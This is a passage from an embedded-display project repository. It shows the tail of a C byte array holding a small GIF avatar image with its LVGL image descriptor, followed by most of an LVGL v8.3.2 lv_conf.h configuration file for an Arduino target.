| 0x8b, 0x21, 0x7c, 0x03, 0x31, 0x1e, 0xdf, 0x70, 0x48, 0x00, 0x08, 0x59, 0xfe, 138 | 0xf2, 0x47, 0x08, 0xcb, 0x73, 0xcf, 0x67, 0x90, 0x06, 0x73, 0xd3, 0xa1, 0x96, 139 | 0x0a, 0xa3, 0x8d, 0xb1, 0x9e, 0x77, 0xb6, 0x58, 0xe0, 0x81, 0x1d, 0x73, 0xbb, 140 | 0x84, 0xd0, 0x50, 0xcb, 0xa5, 0x2b, 0xd0, 0x25, 0x88, 0x00, 0xf0, 0x31, 0x5f, 141 | 0xaa, 0x70, 0x70, 0x09, 0x24, 0x02, 0xa5, 0x00, 0x9d, 0x1c, 0x16, 0xae, 0xb1, 142 | 0x9c, 0x0a, 0x07, 0xd5, 0xad, 0xd7, 0x2d, 0x29, 0x13, 0x54, 0x9f, 0x67, 0x76, 143 | 0x20, 0xb6, 0x10, 0x10, 0x58, 0x2c, 0x21, 0xc3, 0xd7, 0x49, 0x75, 0x45, 0x90, 144 | 0x05, 0x2e, 0x93, 0x75, 0x87, 0x41, 0xc7, 0xe7, 0x94, 0x87, 0x0d, 0x4c, 0x64, 145 | 0x51, 0x84, 0x8a, 0x0c, 0xe9, 0x5e, 0x17, 0x42, 0x6f, 0x90, 0x85, 0xcb, 0xf5, 146 | 0x06, 0xb1, 0x35, 0x15, 0xf0, 0x13, 0x65, 0x9f, 0x13, 0xc9, 0x08, 0xcd, 0xb2, 147 | 0x0a, 0x14, 0x08, 0xb9, 0x2f, 0xd3, 0x0c, 0x14, 0x89, 0x4f, 0xd4, 0x1e, 0x0a, 148 | 0x75, 0x61, 0x41, 0x42, 0x0c, 0xb8, 0x4a, 0x0a, 0x2a, 0x22, 0x87, 0xa4, 0x7c, 149 | 0xc1, 0x22, 0x38, 0x21, 0xca, 0x19, 0x2c, 0x12, 0x02, 0xd4, 0xe5, 0x24, 0x79, 150 | 0x16, 0x49, 0x41, 0x66, 0xce, 0x00, 0x3e, 0x89, 0x54, 0x20, 0x0a, 0x63, 0x38, 151 | 0x03, 0x15, 0x06, 0x77, 0x11, 0x0f, 0x50, 0x21, 0x0d, 0x62, 0xf0, 0x41, 0x49, 152 | 0x46, 0x48, 0xc2, 0x12, 0x9a, 0xf0, 0x84, 0x28, 0x4c, 0xa1, 0x0a, 0x57, 0xc8, 153 | 0xc2, 0x16, 0xba, 0xf0, 0x85, 0x30, 0x8c, 0xa1, 0x0c, 0x67, 0x48, 0xc3, 0x1a, 154 | 0xda, 0x70, 0x85, 0x01, 0x01, 0x00, 0x21, 0xf9, 0x04, 0x00, 0x64, 0x00, 0xff, 155 | 0x00, 0x2c, 0x00, 0x00, 0x00, 0x00, 0x3c, 0x00, 0x50, 0x00, 0x00, 0x08, 0xfe, 156 | 0x00, 0x01, 0x08, 0x1c, 0x48, 0xb0, 0xa0, 0xc1, 0x83, 0x08, 0x13, 0x2a, 0x5c, 157 | 0xc8, 0xb0, 0xa1, 0xc3, 0x87, 0x10, 0x23, 0x4a, 0x9c, 0x48, 0xb1, 0xa2, 0xc5, 158 | 0x8b, 0x18, 0x33, 0x6a, 0xdc, 0xc8, 0xb1, 0xa3, 0xc7, 0x8f, 0x20, 0x43, 0x8a, 159 | 0x1c, 0x49, 0xf2, 0xe0, 0x86, 0x24, 0x49, 0x5e, 0x68, 0x7c, 0x81, 0x92, 0x47, 160 | 0xc6, 0x29, 0x7c, 0xfe, 0xc8, 0x24, 0xb3, 0xc0, 0xe2, 0x82, 0x33, 0x32, 0x65, 161 | 0xaa, 0xa9, 0x59, 0x91, 0x4a, 0xce, 0x9c, 0x54, 0x2c, 0x66, 0xf9, 0x29, 0x13, 162 | 0x4c, 0xc5, 0x0a, 0x44, 0x65, 0xe6, 0xa9, 0x78, 0x20, 0x66, 0x52, 0x0c, 0x14, 163 | 0x5f, 0x24, 0x95, 0x39, 0x22, 0xea, 0xd4, 0x3f, 0x2a, 0x27, 0xb6, 0xb8, 0x9a, 164 | 0x55, 0xe0, 0x84, 0x31, 0x8b, 0x48, 0xc5, 0xda, 0xb5, 0xab, 0x96, 0x29, 0x49, 165 | 0x68, 0x2e, 0x10, 0x84, 0x71, 0x95, 0x45, 0xc4, 0x13, 0x47, 0x6e, 0x44, 0xd0, 166 | 0x33, 0x35, 0xeb, 0x8a, 0x45, 0xb2, 0xc8, 0xea, 0xdd, 0xbb, 0xcb, 0xd6, 0x22, 167 | 0xb7, 0x00, 0xa4, 0x26, 0xe5, 0x03, 0x01, 0x47, 0x91, 0x0f, 0x0c, 0x17, 0x94, 168 | 0xf9, 0xe9, 0x94, 0x28, 0x05, 0x81, 0x98, 0xf8, 0x4a, 0xd6, 0x1b, 0x4a, 0xa0, 169 | 0x8b, 0xa9, 0x8d, 0xff, 0x58, 0x59, 0x28, 0xe6, 0xea, 0x4f, 0x3d, 0x02, 0x09, 170 | 0xd9, 0xd2, 0x6b, 0x8b, 0x93, 0x23, 0x3d, 0x78, 0x1c, 0x69, 0x9a, 0xb5, 0x17, 171 | 0x11, 0x01, 0x00, 0x9e, 0x7f, 0x26, 0x49, 0xf8, 0x21, 0x76, 0xce, 0x3d, 0x3d, 172 | 0x22, 0xdb, 0xda, 0x04, 0xca, 0x90, 0xa2, 0x50, 0xb9, 0xf4, 0x96, 0x42, 0xe4, 173 | 0x87, 0x77, 0xad, 0x5d, 0xa1, 0xa2, 0xd8, 0x56, 0xca, 0xd3, 0xe0, 0x91, 0xe5, 174 | 0x7f, 0x04, 0xb5, 0xda, 0xd5, 0x8a, 0xc8, 0x8d, 0x49, 0x93, 0xf5, 0x66, 0x0a, 175 | 0xa2, 0x43, 0x14, 0xf5, 0x41, 0xd0, 0x85, 0xfe, 0x20, 0x4c, 0x02, 0x7d, 0x14, 176 | 0xf2, 0x0c, 0x5c, 0x46, 0x67, 0x27, 0xfd, 0xc6, 0x42, 0xa8, 0x5d, 0xa9, 0xa0, 177 | 0xcf, 0x3e, 0x28, 0x38, 0x76, 0xa4, 0x5d, 0xae, 0x66, 0xd0, 0x59, 0x3f, 0xf9, 178 | 0x8e, 0x05, 0x54, 0xbb, 0x58, 0xb2, 0x1c, 0x0c, 0x09, 0xa1, 0x11, 0xdb, 0x20, 179 | 0xc7, 0x49, 0x21, 0x85, 0x7a, 0xfc, 0xf1, 0xf5, 0xc5, 0x10, 0xb6, 0xe0, 0x72, 180 | 0x48, 0x6c, 0x69, 0x28, 0xb4, 0x80, 0x16, 0x99, 0xfd, 0x94, 0xc9, 0x2e, 0x91, 181 | 0x58, 0xc0, 0x4a, 0x83, 0x93, 0xc9, 0x92, 0x02, 0x22, 0xbb, 0x7c, 0x72, 0x15, 182 | 0x1f, 0x5b, 0x34, 0x97, 0xd0, 0x00, 0x2f, 0xfc, 0x80, 0x44, 0x0c, 0x26, 0x18, 183 | 0xf8, 0xc7, 0x58, 0x3f, 0xf4, 0x01, 0x62, 0x76, 0x8b, 0x98, 0x60, 0x8b, 0x2d, 184 | 0x32, 0x75, 0x01, 0x42, 0x0c, 0x48, 0xfc, 0xf0, 0x42, 0x01, 0x14, 0x25, 0xa0, 185 | 0x46, 0x22, 0xbb, 0x70, 0x02, 0x80, 0x2b, 0x37, 0x4e, 0x46, 0xcb, 0x05, 0x8f, 186 | 0xec, 0xf2, 0x48, 0x18, 0x01, 0x6c, 0xb4, 0x40, 0x94, 0x8b, 0xcc, 0xd1, 0x64, 187 | 0x76, 0x80, 0xfc, 0xb1, 0x8b, 0x24, 0x06, 0x70, 0x84, 0x05, 0x2c, 0x5b, 0xde, 188 | 0x28, 0xcb, 0x1b, 0x1c, 0x39, 0x52, 0x66, 0x93, 0x8e, 0xa4, 0xc9, 0x17, 0x1f, 189 | 0x35, 0x74, 0xd1, 0xc7, 0x23, 0xa6, 0xdc, 0x22, 0x99, 0x2e, 0x67, 0x05, 0xf2, 190 | 0xc5, 0x0e, 0x6c, 0xf0, 0x15, 0x89, 0x9b, 0x7b, 0x35, 0x61, 0x10, 0x27, 0x7b, 191 | 0xa9, 0x02, 0x81, 0x41, 0x7c, 0x3d, 0x02, 0xa8, 0x5e, 0x82, 0x16, 0x44, 0xa8, 192 | 0x5e, 0xaa, 0x18, 0xb4, 0x02, 0x5f, 0x6d, 0x6e, 0x64, 0xe3, 0x5e, 0x8b, 0x14, 193 | 0xb4, 0x43, 0x70, 0x7b, 0x1d, 0x51, 0xd0, 0xa5, 0x7a, 0x55, 0xaa, 0x51, 0x1c, 194 | 0x7c, 0xe9, 0x52, 0xc6, 0x40, 0x39, 0x98, 0x67, 0xcb, 0x17, 0x5d, 0x8c, 0xe6, 195 | 0xca, 0x0f, 0xfe, 0x03, 0x59, 0xc1, 0x20, 0x59, 0x4b, 0x6d, 0xd4, 0xc4, 0x64, 196 | 0xa1, 0x38, 0x52, 0x89, 0x7a, 0x68, 0x02, 0x60, 0x06, 0x59, 0xb7, 0x5c, 0xe2, 197 | 0xc8, 0xa3, 0x7c, 0x79, 0xd1, 0x91, 0x2e, 0x20, 0x22, 0xd2, 0x05, 0x1a, 0x84, 198 | 0xdc, 0xb8, 0x42, 0x47, 0x9e, 0xac, 0xd9, 0xe0, 0x2a, 0x1e, 0x99, 0xa1, 0xc9, 199 | 0x74, 0xd2, 0xf2, 0xe5, 0x0a, 0x27, 0x6e, 0x84, 0x64, 0x01, 0x13, 0x77, 0x30, 200 | 0xd2, 0x49, 0x93, 0xa0, 0x34, 0x72, 0x87, 0x14, 0x1d, 0x88, 0xf4, 0x80, 0x41, 201 | 0x40, 0x78, 0xb7, 0x9e, 0x2b, 0x44, 0x1c, 0xa4, 0xc0, 0x47, 0x46, 0xec, 0x82, 202 | 0x0a, 0x25, 0x85, 0x98, 0xa1, 0x01, 0x00, 0x22, 0xe4, 0x35, 0x99, 0x2d, 0x3a, 203 | 0x08, 0x44, 0xc2, 0x19, 0x86, 0x54, 0xa2, 0xca, 0x2e, 0x3b, 0x80, 0x04, 0xca, 204 | 0x5e, 0xb4, 0xa0, 0x01, 0x40, 0x15, 0x77, 0x44, 0x2c, 0x71, 0xc4, 0x5d, 0x08, 205 | 0xf4, 0xc6, 0xac, 0x94, 0x80, 0xc4, 0x01, 0x89, 0x7b, 0xdd, 0x52, 0x04, 0xc7, 206 | 0x93, 0x01, 0x52, 0x85, 0x64, 0x4e, 0x7c, 0xb4, 0x01, 0x1d, 0x7f, 0x1c, 0xbc, 207 | 0xd7, 0x24, 0x4c, 0x66, 0x67, 0xca, 0x2b, 0x7c, 0x99, 0xd2, 0x86, 0x03, 0x1d, 208 | 0x65, 0x30, 0x87, 0x4c, 0x48, 0x66, 0x4b, 0x56, 0x2e, 0x89, 0xfc, 0xc1, 0x46, 209 | 0x03, 0x1b, 0x61, 0x70, 0x73, 0x4e, 0x0b, 0xeb, 0xec, 0x49, 0x4e, 0x6c, 0x30, 210 | 0x30, 0x51, 0x0d, 0x64, 0xe4, 0x21, 0x53, 0x1d, 0x67, 0x0c, 0x9d, 0xd3, 0x20, 211 | 0xac, 0x49, 0x1b, 0x0b, 0x78, 0x39, 0xbd, 0x81, 0x46, 0x1d, 0x4a, 0x95, 0x51, 212 | 0xc3, 0x42, 0x46, 0x40, 0xf7, 0x47, 0x94, 0xd2, 0x3a, 0x22, 0x5f, 0x42, 0x0b, 213 | 0xec, 0x21, 0xf6, 0x1f, 0xa7, 0xac, 0x49, 0x8a, 0xd8, 0x7c, 0x54, 0x80, 0x10, 214 | 0x0e, 0x6b, 0xff, 0x61, 0xc7, 0xac, 0x0d, 0xda, 0x62, 0xc8, 0xdc, 0xda, 0x40, 215 | 0x8c, 0xb7, 0x36, 0x1c, 0x12, 0x00, 0x42, 0x96, 0xbf, 0xfc, 0x11, 0x82, 0xb2, 216 | 0xd8, 0xf3, 0x19, 0xa4, 0x81, 0xd8, 0x74, 0xa8, 0xa5, 0xc2, 0x68, 0x63, 0xac, 217 | 0xe7, 0x9d, 0x2d, 0x16, 0x78, 0x60, 0x87, 0xd8, 0x2e, 0x21, 0x34, 0xd4, 0x72, 218 | 0xe9, 0x0a, 0x74, 0x09, 0x22, 0x00, 0x80, 0x5c, 0x28, 0x07, 0x97, 0x40, 0x22, 219 | 0x50, 0x0a, 0xd0, 0xc9, 0x61, 0xe1, 0x1a, 0xcb, 0xa9, 0x70, 0x10, 0xd9, 0x7a, 220 | 0xdd, 0x52, 0x32, 0x41, 0xf5, 0x79, 0x66, 0x07, 0x62, 0x0b, 0x01, 0x81, 0xc5, 221 | 0x12, 0x32, 0x38, 0x9d, 0x54, 0x57, 0x04, 0x59, 0xa0, 0x32, 0x59, 0x77, 0x18, 222 | 0x54, 0x7b, 0x4e, 0x79, 0xd8, 0xc0, 0x44, 0x16, 0x45, 0xa8, 0xc8, 0x10, 0xea, 223 | 0x75, 0x21, 0xf4, 0x06, 0x59, 0xb8, 0x14, 0x6f, 0x10, 0x5b, 0x53, 0xb9, 0x3e, 224 | 0xd1, 0xf1, 0x39, 0x95, 0x90, 0xd0, 0x2c, 0xab, 0x40, 0x81, 0x10, 0xf7, 0x32, 225 | 0xcd, 0x40, 0x11, 0xf4, 0x44, 0xed, 0xa1, 0x50, 0x17, 0x16, 0x24, 0xc4, 0xc0, 226 | 0x55, 0x29, 0x54, 0x24, 0x47, 0x52, 0x5f, 0x58, 0x84, 0x13, 0x51, 0x67, 0x58, 227 | 0x14, 0xc2, 0xe5, 0x39, 0xdd, 0x6e, 0x51, 0x0a, 0x99, 0x39, 0x83, 0xf3, 0x24, 228 | 0x52, 0x81, 0x28, 0x8c, 0xe1, 0x0c, 0x54, 0x90, 0xdb, 0x45, 0x3c, 0x40, 0x85, 229 | 0x34, 0x88, 0xc1, 0x07, 0x25, 0x89, 0xa0, 0x04, 0x27, 0x48, 0xc1, 0x0a, 0x5a, 230 | 0xf0, 0x82, 0x18, 0xcc, 0xa0, 0x06, 0x37, 0xc8, 0xc1, 0x0e, 0x7a, 0xf0, 0x83, 231 | 0x20, 0x0c, 0xa1, 0x08, 0x47, 0x48, 0xc2, 0x0c, 0x06, 0x04, 0x00, 0x3b 232 | }; 233 | 234 | const lv_img_dsc_t avatargif = { 235 | .header.cf = LV_IMG_CF_RAW_CHROMA_KEYED, 236 | .header.always_zero = 0, 237 | .header.reserved = 0, 238 | .header.w = 60, 239 | .header.h = 80, 240 | .data_size = 2859, 241 | .data = avatargif_map, 242 | }; 243 | -------------------------------------------------------------------------------- /lv_conf.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file lv_conf.h 3 | * Configuration file for v8.3.2 4 | */ 5 | 6 | /* 7 | * Copy this file as `lv_conf.h` 8 | * 1. simply next to the `lvgl` folder 9 | * 2. or any other places and 10 | * - define `LV_CONF_INCLUDE_SIMPLE` 11 | * - add the path as include path 12 | */ 13 | 14 | /* clang-format off */ 15 | #if 1 /*Set it to "1" to enable content*/ 16 | 17 | #ifndef LV_CONF_H 18 | #define LV_CONF_H 19 | 20 | #include 21 | 22 | /*==================== 23 | COLOR SETTINGS 24 | *====================*/ 25 | 26 | /*Color depth: 1 (1 byte per pixel), 8 (RGB332), 16 (RGB565), 32 (ARGB8888)*/ 27 | #define LV_COLOR_DEPTH 16 28 | 29 | /*Swap the 2 bytes of RGB565 color. Useful if the display has an 8-bit interface (e.g. SPI)*/ 30 | #define LV_COLOR_16_SWAP 0 31 | 32 | /*Enable features to draw on transparent background. 33 | *It's required if opa, and transform_* style properties are used. 34 | *Can be also used if the UI is above another layer, e.g. an OSD menu or video player.*/ 35 | #define LV_COLOR_SCREEN_TRANSP 0 36 | 37 | /* Adjust color mix functions rounding. GPUs might calculate color mix (blending) differently. 38 | * 0: round down, 64: round up from x.75, 128: round up from half, 192: round up from x.25, 254: round up */ 39 | #define LV_COLOR_MIX_ROUND_OFS 0 40 | 41 | /*Images pixels with this color will not be drawn if they are chroma keyed)*/ 42 | #define LV_COLOR_CHROMA_KEY lv_color_hex(0x00ff00) /*pure green*/ 43 | 44 | /*========================= 45 | MEMORY SETTINGS 46 | *=========================*/ 47 | 48 | /*1: use custom malloc/free, 0: use the built-in `lv_mem_alloc()` and `lv_mem_free()`*/ 49 | #define LV_MEM_CUSTOM 1 50 | #if LV_MEM_CUSTOM == 0 51 | /*Size of the memory available for `lv_mem_alloc()` in bytes (>= 2kB)*/ 52 | #define LV_MEM_SIZE (48U * 1024U) /*[bytes]*/ 53 | 54 | /*Set an address for the memory pool instead of allocating it as a normal array. Can be in external SRAM too.*/ 55 | #define LV_MEM_ADR 0 /*0: unused*/ 56 | /*Instead of an address give a memory allocator that will be called to get a memory pool for LVGL. E.g. my_malloc*/ 57 | #if LV_MEM_ADR == 0 58 | #undef LV_MEM_POOL_INCLUDE 59 | #undef LV_MEM_POOL_ALLOC 60 | #endif 61 | 62 | #else /*LV_MEM_CUSTOM*/ 63 | #define LV_MEM_CUSTOM_INCLUDE /*Header for the dynamic memory function*/ 64 | #define LV_MEM_CUSTOM_ALLOC malloc 65 | #define LV_MEM_CUSTOM_FREE free 66 | #define LV_MEM_CUSTOM_REALLOC realloc 67 | #endif /*LV_MEM_CUSTOM*/ 68 | 69 | /*Number of the intermediate memory buffer used during rendering and other internal processing mechanisms. 70 | *You will see an error log message if there wasn't enough buffers. */ 71 | #define LV_MEM_BUF_MAX_NUM 16 72 | 73 | /*Use the standard `memcpy` and `memset` instead of LVGL's own functions. (Might or might not be faster).*/ 74 | #define LV_MEMCPY_MEMSET_STD 0 75 | 76 | /*==================== 77 | HAL SETTINGS 78 | *====================*/ 79 | 80 | /*Default display refresh period. LVG will redraw changed areas with this period time*/ 81 | #define LV_DISP_DEF_REFR_PERIOD 16 /*[ms]*/ 82 | 83 | /*Input device read period in milliseconds*/ 84 | #define LV_INDEV_DEF_READ_PERIOD 30 /*[ms]*/ 85 | 86 | /*Use a custom tick source that tells the elapsed time in milliseconds. 87 | *It removes the need to manually update the tick with `lv_tick_inc()`)*/ 88 | #define LV_TICK_CUSTOM 1 89 | #if LV_TICK_CUSTOM 90 | #define LV_TICK_CUSTOM_INCLUDE "Arduino.h" /*Header for the system time function*/ 91 | #define LV_TICK_CUSTOM_SYS_TIME_EXPR (millis()) /*Expression evaluating to current system time in ms*/ 92 | #endif /*LV_TICK_CUSTOM*/ 93 | 94 | /*Default Dot Per Inch. Used to initialize default sizes such as widgets sized, style paddings. 95 | *(Not so important, you can adjust it to modify default sizes and spaces)*/ 96 | #define LV_DPI_DEF 130 /*[px/inch]*/ 97 | 98 | /*======================= 99 | * FEATURE CONFIGURATION 100 | *=======================*/ 101 | 102 | /*------------- 103 | * Drawing 104 | *-----------*/ 105 | 106 | /*Enable complex draw engine. 107 | *Required to draw shadow, gradient, rounded corners, circles, arc, skew lines, image transformations or any masks*/ 108 | #define LV_DRAW_COMPLEX 1 109 | #if LV_DRAW_COMPLEX != 0 110 | 111 | /*Allow buffering some shadow calculation. 112 | *LV_SHADOW_CACHE_SIZE is the max. shadow size to buffer, where shadow size is `shadow_width + radius` 113 | *Caching has LV_SHADOW_CACHE_SIZE^2 RAM cost*/ 114 | #define LV_SHADOW_CACHE_SIZE 0 115 | 116 | /* Set number of maximally cached circle data. 117 | * The circumference of 1/4 circle are saved for anti-aliasing 118 | * radius * 4 bytes are used per circle (the most often used radiuses are saved) 119 | * 0: to disable caching */ 120 | #define LV_CIRCLE_CACHE_SIZE 4 121 | #endif /*LV_DRAW_COMPLEX*/ 122 | 123 | /** 124 | * "Simple layers" are used when a widget has `style_opa < 255` to buffer the widget into a layer 125 | * and blend it as an image with the given opacity. 126 | * Note that `bg_opa`, `text_opa` etc don't require buffering into layer) 127 | * The widget can be buffered in smaller chunks to avoid using large buffers. 128 | * 129 | * - LV_LAYER_SIMPLE_BUF_SIZE: [bytes] the optimal target buffer size. LVGL will try to allocate it 130 | * - LV_LAYER_SIMPLE_FALLBACK_BUF_SIZE: [bytes] used if `LV_LAYER_SIMPLE_BUF_SIZE` couldn't be allocated. 131 | * 132 | * Both buffer sizes are in bytes. 133 | * "Transformed layers" (where transform_angle/zoom properties are used) use larger buffers 134 | * and can't be drawn in chunks. So these settings affects only widgets with opacity. 135 | */ 136 | #define LV_LAYER_SIMPLE_BUF_SIZE (24 * 1024) 137 | #define LV_LAYER_SIMPLE_FALLBACK_BUF_SIZE (3 * 1024) 138 | 139 | /*Default image cache size. Image caching keeps the images opened. 140 | *If only the built-in image formats are used there is no real advantage of caching. (I.e. if no new image decoder is added) 141 | *With complex image decoders (e.g. PNG or JPG) caching can save the continuous open/decode of images. 142 | *However the opened images might consume additional RAM. 143 | *0: to disable caching*/ 144 | #define LV_IMG_CACHE_DEF_SIZE 0 145 | 146 | /*Number of stops allowed per gradient. Increase this to allow more stops. 147 | *This adds (sizeof(lv_color_t) + 1) bytes per additional stop*/ 148 | #define LV_GRADIENT_MAX_STOPS 2 149 | 150 | /*Default gradient buffer size. 151 | *When LVGL calculates the gradient "maps" it can save them into a cache to avoid calculating them again. 152 | *LV_GRAD_CACHE_DEF_SIZE sets the size of this cache in bytes. 153 | *If the cache is too small the map will be allocated only while it's required for the drawing. 154 | *0 mean no caching.*/ 155 | #define LV_GRAD_CACHE_DEF_SIZE 0 156 | 157 | /*Allow dithering the gradients (to achieve visual smooth color gradients on limited color depth display) 158 | *LV_DITHER_GRADIENT implies allocating one or two more lines of the object's rendering surface 159 | *The increase in memory consumption is (32 bits * object width) plus 24 bits * object width if using error diffusion */ 160 | #define LV_DITHER_GRADIENT 0 161 | #if LV_DITHER_GRADIENT 162 | /*Add support for error diffusion dithering. 163 | *Error diffusion dithering gets a much better visual result, but implies more CPU consumption and memory when drawing. 164 | *The increase in memory consumption is (24 bits * object's width)*/ 165 | #define LV_DITHER_ERROR_DIFFUSION 0 166 | #endif 167 | 168 | /*Maximum buffer size to allocate for rotation. 169 | *Only used if software rotation is enabled in the display driver.*/ 170 | #define LV_DISP_ROT_MAX_BUF (10*1024) 171 | 172 | /*------------- 173 | * GPU 174 | *-----------*/ 175 | 176 | /*Use Arm's 2D acceleration library Arm-2D */ 177 | #define LV_USE_GPU_ARM2D 0 178 | 179 | /*Use STM32's DMA2D (aka Chrom Art) GPU*/ 180 | #define LV_USE_GPU_STM32_DMA2D 0 181 | #if LV_USE_GPU_STM32_DMA2D 182 | /*Must be defined to include path of CMSIS header of target processor 183 | e.g. "stm32f769xx.h" or "stm32f429xx.h"*/ 184 | #define LV_GPU_DMA2D_CMSIS_INCLUDE 185 | #endif 186 | 187 | /*Use SWM341's DMA2D GPU*/ 188 | #define LV_USE_GPU_SWM341_DMA2D 0 189 | #if LV_USE_GPU_SWM341_DMA2D 190 | #define LV_GPU_SWM341_DMA2D_INCLUDE "SWM341.h" 191 | #endif 192 | 193 | /*Use NXP's PXP GPU iMX RTxxx platforms*/ 194 | #define LV_USE_GPU_NXP_PXP 0 195 | #if LV_USE_GPU_NXP_PXP 196 | /*1: Add default bare metal and FreeRTOS interrupt handling routines for PXP (lv_gpu_nxp_pxp_osa.c) 197 | * and call lv_gpu_nxp_pxp_init() automatically during lv_init(). Note that symbol SDK_OS_FREE_RTOS 198 | * has to be defined in order to use FreeRTOS OSA, otherwise bare-metal implementation is selected. 199 | *0: lv_gpu_nxp_pxp_init() has to be called manually before lv_init() 200 | */ 201 | #define LV_USE_GPU_NXP_PXP_AUTO_INIT 0 202 | #endif 203 | 204 | /*Use NXP's VG-Lite GPU iMX RTxxx platforms*/ 205 | #define LV_USE_GPU_NXP_VG_LITE 0 206 | 207 | /*Use SDL renderer API*/ 208 | #define LV_USE_GPU_SDL 0 209 | #if LV_USE_GPU_SDL 210 | #define LV_GPU_SDL_INCLUDE_PATH 211 | /*Texture cache size, 8MB by default*/ 212 | #define LV_GPU_SDL_LRU_SIZE (1024 * 1024 * 8) 213 | /*Custom blend mode for mask drawing, disable if you need to link with older SDL2 lib*/ 214 | #define LV_GPU_SDL_CUSTOM_BLEND_MODE (SDL_VERSION_ATLEAST(2, 0, 6)) 215 | #endif 216 | 217 | /*------------- 218 | * Logging 219 | *-----------*/ 220 | 221 | /*Enable the log module*/ 222 | #define LV_USE_LOG 0 223 | #if LV_USE_LOG 224 | 225 | /*How important log should be added: 226 | *LV_LOG_LEVEL_TRACE A lot of logs to give detailed information 227 | *LV_LOG_LEVEL_INFO Log important events 228 | *LV_LOG_LEVEL_WARN Log if something unwanted happened but didn't cause a problem 229 | *LV_LOG_LEVEL_ERROR Only critical issue, when the system may fail 230 | *LV_LOG_LEVEL_USER Only logs added by the user 231 | *LV_LOG_LEVEL_NONE Do not log anything*/ 232 | #define LV_LOG_LEVEL LV_LOG_LEVEL_WARN 233 | 234 | /*1: Print the log with 'printf'; 235 | *0: User need to register a callback with `lv_log_register_print_cb()`*/ 236 | #define LV_LOG_PRINTF 0 237 | 238 | /*Enable/disable LV_LOG_TRACE in modules that produces a huge number of logs*/ 239 | #define LV_LOG_TRACE_MEM 1 240 | #define LV_LOG_TRACE_TIMER 1 241 | #define LV_LOG_TRACE_INDEV 1 242 | #define LV_LOG_TRACE_DISP_REFR 1 243 | #define LV_LOG_TRACE_EVENT 1 244 | #define LV_LOG_TRACE_OBJ_CREATE 1 245 | #define LV_LOG_TRACE_LAYOUT 1 246 | #define LV_LOG_TRACE_ANIM 1 247 | 248 | #endif /*LV_USE_LOG*/ 249 | 250 | /*------------- 251 | * Asserts 252 | *-----------*/ 253 | 254 | /*Enable asserts if an operation is failed or an invalid data is found. 255 | *If LV_USE_LOG is enabled an error message will be printed on failure*/ 256 | #define LV_USE_ASSERT_NULL 1 /*Check if the parameter is NULL. (Very fast, recommended)*/ 257 | #define LV_USE_ASSERT_MALLOC 1 /*Checks is the memory is successfully allocated or no. (Very fast, recommended)*/ 258 | #define LV_USE_ASSERT_STYLE 0 /*Check if the styles are properly initialized. (Very fast, recommended)*/ 259 | #define LV_USE_ASSERT_MEM_INTEGRITY 0 /*Check the integrity of `lv_mem` after critical operations. (Slow)*/ 260 | #define LV_USE_ASSERT_OBJ 0 /*Check the object's type and existence (e.g. not deleted). (Slow)*/ 261 | 262 | /*Add a custom handler when assert happens e.g. to restart the MCU*/ 263 | #define LV_ASSERT_HANDLER_INCLUDE 264 | #define LV_ASSERT_HANDLER while(1); /*Halt by default*/ 265 | 266 | /*------------- 267 | * Others 268 | *-----------*/ 269 | 270 | /*1: Show CPU usage and FPS count*/ 271 | #define LV_USE_PERF_MONITOR 0 272 | #if LV_USE_PERF_MONITOR 273 | #define LV_USE_PERF_MONITOR_POS LV_ALIGN_BOTTOM_RIGHT 274 | #endif 275 | 276 | /*1: Show the used memory and the memory fragmentation 277 | * Requires LV_MEM_CUSTOM = 0*/ 278 | #define LV_USE_MEM_MONITOR 0 279 | #if LV_USE_MEM_MONITOR 280 | #define LV_USE_MEM_MONITOR_POS LV_ALIGN_BOTTOM_LEFT 281 | #endif 282 | 283 | /*1: Draw random colored rectangles over the redrawn areas*/ 284 | #define LV_USE_REFR_DEBUG 0 285 | 286 | /*Change the built in (v)snprintf functions*/ 287 | #define LV_SPRINTF_CUSTOM 0 288 | #if LV_SPRINTF_CUSTOM 289 | #define LV_SPRINTF_INCLUDE 290 | #define lv_snprintf snprintf 291 | #define lv_vsnprintf vsnprintf 292 | #else /*LV_SPRINTF_CUSTOM*/ 293 | #define LV_SPRINTF_USE_FLOAT 0 294 | #endif /*LV_SPRINTF_CUSTOM*/ 295 | 296 | #define LV_USE_USER_DATA 1 297 | 298 | /*Garbage Collector settings 299 | *Used if lvgl is bound to higher level language and the memory is managed by that language*/ 300 | #define LV_ENABLE_GC 0 301 | #if LV_ENABLE_GC != 0 302 | #define LV_GC_INCLUDE "gc.h" /*Include Garbage Collector related things*/ 303 | #endif /*LV_ENABLE_GC*/ 304 | 305 | /*===================== 306 | * COMPILER SETTINGS 307 | *====================*/ 308 | 309 | /*For big endian systems set to 1*/ 310 | #define LV_BIG_ENDIAN_SYSTEM 0 311 | 312 | /*Define a custom attribute to `lv_tick_inc` function*/ 313 | #define LV_ATTRIBUTE_TICK_INC 314 | 315 | /*Define a custom attribute to `lv_timer_handler` function*/ 316 | #define LV_ATTRIBUTE_TIMER_HANDLER 317 | 318 | /*Define a custom attribute to `lv_disp_flush_ready` function*/ 319 | #define LV_ATTRIBUTE_FLUSH_READY 320 | 321 | /*Required alignment size for buffers*/ 322 | #define LV_ATTRIBUTE_MEM_ALIGN_SIZE 1 323 | 324 | /*Will be added where memories needs to be aligned (with -Os data might not be aligned to boundary by default). 325 | * E.g. __attribute__((aligned(4)))*/ 326 | #define LV_ATTRIBUTE_MEM_ALIGN 327 | 328 | /*Attribute to mark large constant arrays for example font's bitmaps*/ 329 | #define LV_ATTRIBUTE_LARGE_CONST 330 | 331 | /*Compiler prefix for a big array declaration in RAM*/ 332 | #define LV_ATTRIBUTE_LARGE_RAM_ARRAY 333 | 334 | /*Place performance critical functions into a faster memory (e.g RAM)*/ 335 | #define LV_ATTRIBUTE_FAST_MEM 336 | 337 | /*Prefix variables that are used in GPU accelerated operations, often these need to be placed in RAM sections that are DMA accessible*/ 338 | #define LV_ATTRIBUTE_DMA 339 | 340 | /*Export integer constant to binding. This macro is used with constants in the form of LV_ that 341 | *should also appear on LVGL binding API such as Micropython.*/ 342 | #define LV_EXPORT_CONST_INT(int_value) struct _silence_gcc_warning /*The default value just prevents GCC warning*/ 343 | 344 | /*Extend the default -32k..32k coordinate range to -4M..4M by using int32_t for coordinates instead of int16_t*/ 345 | #define LV_USE_LARGE_COORD 0 346 | 347 | /*================== 348 | * FONT USAGE 349 | *===================*/ 350 | 351 | /*Montserrat fonts with ASCII range and some symbols using bpp = 4 352 | *https://fonts.google.com/specimen/Montserrat*/ 353 | #define LV_FONT_MONTSERRAT_8 0 354 | #define 